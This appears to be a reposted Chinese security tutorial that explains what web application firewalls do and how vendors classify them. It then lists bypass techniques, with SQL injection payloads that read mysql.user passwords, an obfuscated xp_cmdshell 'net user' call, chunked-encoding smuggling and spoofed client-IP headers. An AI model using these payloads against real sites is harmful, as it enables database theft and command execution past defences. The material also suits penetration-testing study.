sqlmap绕过d盾_Waf功能、分类与绕过
## 一. waf工作原理
Web應用防火墻是通過執行一系列針對HTTP/HTTPS的安全策略來專門為Web應用提供保護的一款產品。
常見的系統攻擊分為兩類:
- 一是利用Web服務器的漏洞進行攻擊,如DDOS攻擊、病毒木馬破壞等攻擊;
- 二是利用網頁自身的安全漏洞進行攻擊,如SQL注入攻擊、跨站腳本攻擊等。常見攻擊方式對網站服務器帶來的危害主要集中在病毒木馬破壞、網頁非法篡改、各類網絡攻擊帶來的威脅。
#### 1. waf簡介
WAF是Web應用防火墻(Web Application Firewall)的簡稱,對來自Web應用程序客戶端的各類請求進行內容檢測和驗證,確保其安全性與合法性,對非法的請求予以實時阻斷,為Web應用提供防護,也稱作應用防火墻,是網絡安全縱深防御體系里重要的一環。WAF屬于檢測型及糾正型防御控制措施。WAF分為硬件WAF、軟件WAF(ModSecurity)和云WAF。
WAF對請求的內容進行規則匹配、行為分析等識別出惡意行為,并執行相關動作,這些動作包括阻斷、記錄、告警等。
#### 1. WAF主要功能
1. 網馬木馬主動防御及查殺
網頁木馬和網頁掛馬掃描工具采用特征碼+啟發式引擎的查殺算法,WEB木馬檢出率大于90%
2. 流量監控
能夠實時監測到每個網站的進出流量和總流量,以及每個應用程序池及網站的CPU占用情況
3. 網站漏洞防御功能
可攔截GET、POST、COOKIES等方式的SQL注入,可對GET、POST、COOKIES分別定義特征碼,以及可攔截XSS注入等行為。
4. 危險組件防護功能
全面攔截惡意代碼對組件的調用權限,攔截IIS執行惡意程序,保護網站安全
5. .Net安全保護模塊
快捷設置.Net安全模式,禁止.Net執行系統敏感函數,保障網站安全
6. 雙層防盜鏈鏈接模式
可以針對不同站點設置防盜鏈的過濾, 防止圖片、桌面、軟件、音樂、電影被人引用。如果發現請求者是盜用網站鏈接, 則自動重定向到錯誤處理頁面
7. 網站特定資源防下載
支持對doc、mdb、mdf、myd等特定資源的防下載保護,加入要保護的敏感資料的路徑,即可防止敏感資料被下載
8. CC攻擊防護
自主研發的獨特抗攻擊算法,高效的主動防御系統可有效防御CC攻擊、流量攻擊。
9. 網站流量保護
支持下載流量控制、下載線程控制。采用獨創的線程控制和流量控制技術, 大大提高服務器性能, 保護網站流量。
10.IP黑白名單
全IP黑白名單功能允許用戶設置個性化的IP信任列表,直接屏蔽或者允許指定IP訪問網站。同時,增加iP臨時黑名單功能,以及實現了針對某個功能的iP白名單功能。同時,爬蟲白名單提供爬蟲信任機制,在出現誤攔截情況下,允許用戶自定義爬蟲信任。
## 二、市場Waf分類
#### 1. 硬件Waf:
綠盟、啟明、安恒、知道創宇、天融信等
硬件Waf通常的安裝方式是將Waf串行部署在Web服務器前端,用于檢測、阻斷異常流量。
常規硬件Waf的實現方式是通過代理技術代理來自外部的流量,并對請求包進行解析,通過安全規則庫的攻擊規則進行匹配,如成功匹配規則庫中的規則,則識別為異常并進行請求阻斷。
#### 2. 軟件Waf:
安全狗、云鎖、中間件自帶的Waf模塊、D盾等
軟件Waf則是安裝在需要防護的服務器上,實現方式通常是Waf監聽端口或以Web容器擴展方式進行請求檢測和阻斷。
#### 3. 云WAF:
阿里云、安全狗、安恒、知道創宇、騰訊網站管家等
云WAF,也稱WEB應用防火墻的云模式,這種模式讓用戶不需要在自己的網絡中安裝軟件程序或部署硬件設備,就可以對網站實施安全防護,它的主要實現方式是利用DNS技術,通過移交域名解析權來實現安全防護。用戶的請求首先發送到云端節點進行檢測,如存在異常請求則進行攔截否則將請求轉發至真實服務器。
## 三、Waf繞過方法
#### 1、burp安裝waf模塊
- 步驟:插件擴展--BApp Store--Bypass WAF
- 項目選項--會議--會話處理規則--添加


#### 2、通過工具偽造百度、google等user agent頭或者偽造白名單特殊目錄
- 把User-Agent修改百度等各大搜索引擎的便可以繞過,把此處替換為百度等搜索引擎的User-Agent

#### 3、編碼繞過,把SQL語句編碼便可以繞過waf

#### 4、修改請求方式繞過

- 利用waf的默認規則繞過,如默認只針對GET攔截,不對post攔截,那我們就可以用POST方式傳輸繞過waf
#### 5、復合參數繞過
- 例如一個請求是這樣的
`GET /pen/news.php?id=1 union select user,password from mysql.user`
- 可以修改為
`GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user`
很多WAF都可以這樣繞,測試最新版WAF能繞過部分語句
#### 6、WAF觸發規則的繞過
##### 特殊字符替換空格:`%0a/**/` `/*|%23--%23|*/`
##### 特殊字符拼接:`+`
- 如:`GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')`
- 可以改為:`GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')`
##### 注釋包含關鍵字
如: `GET /pen/news.php?id=1 union select user,password from mysql.user`
可以改為: `GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user`
##### 空格替換法
- 把空格替換成`%0a/**/`可以繞過
##### 使用大小寫
- `http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….`
##### 雙寫繞過
- `UNIunionON SELselectECT 1,2,3,4….`經過waf過濾后就變成`union select 1,2,3,4....`
##### 異或繞過
- `lucy' Xor '1'='1' #`
利用WAF本身的功能繞過,把"*"替換為空 uni*on+sel*ect+1,2,3,4....
##### 組合法:編碼與注釋
1、 替換法+URL編碼 2、注釋+替換法 3、內聯注釋+替換法
把and為&&,urlencode后為%26%26 如:%20%26%26%20-1=-1
#### 7、分塊傳輸繞過
```
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 87
4
id=1
6
union
7
select
2
1
8
,user(),
5
3,4,5
0
```
Transfer-Encoding: chunked
id=1 union select 1,user(),3,4,5
#### 8、 云waf繞過
尋找真實ip繞過云waf
#### 9、 云waf偽造請求包頭信息
```
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
```
繞過waf的方法有很多,也有許多方式被時代淘汰,你需要不停的思考繞過它的各種可能性,不斷的去完善它。
總結
以上是生活随笔為你收集整理的sqlmap绕过d盾_Waf功能、分类与绕过的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python读取json数据格式问题_浅
- 下一篇: 没有良心的人经典句子 讽刺人没良心的句子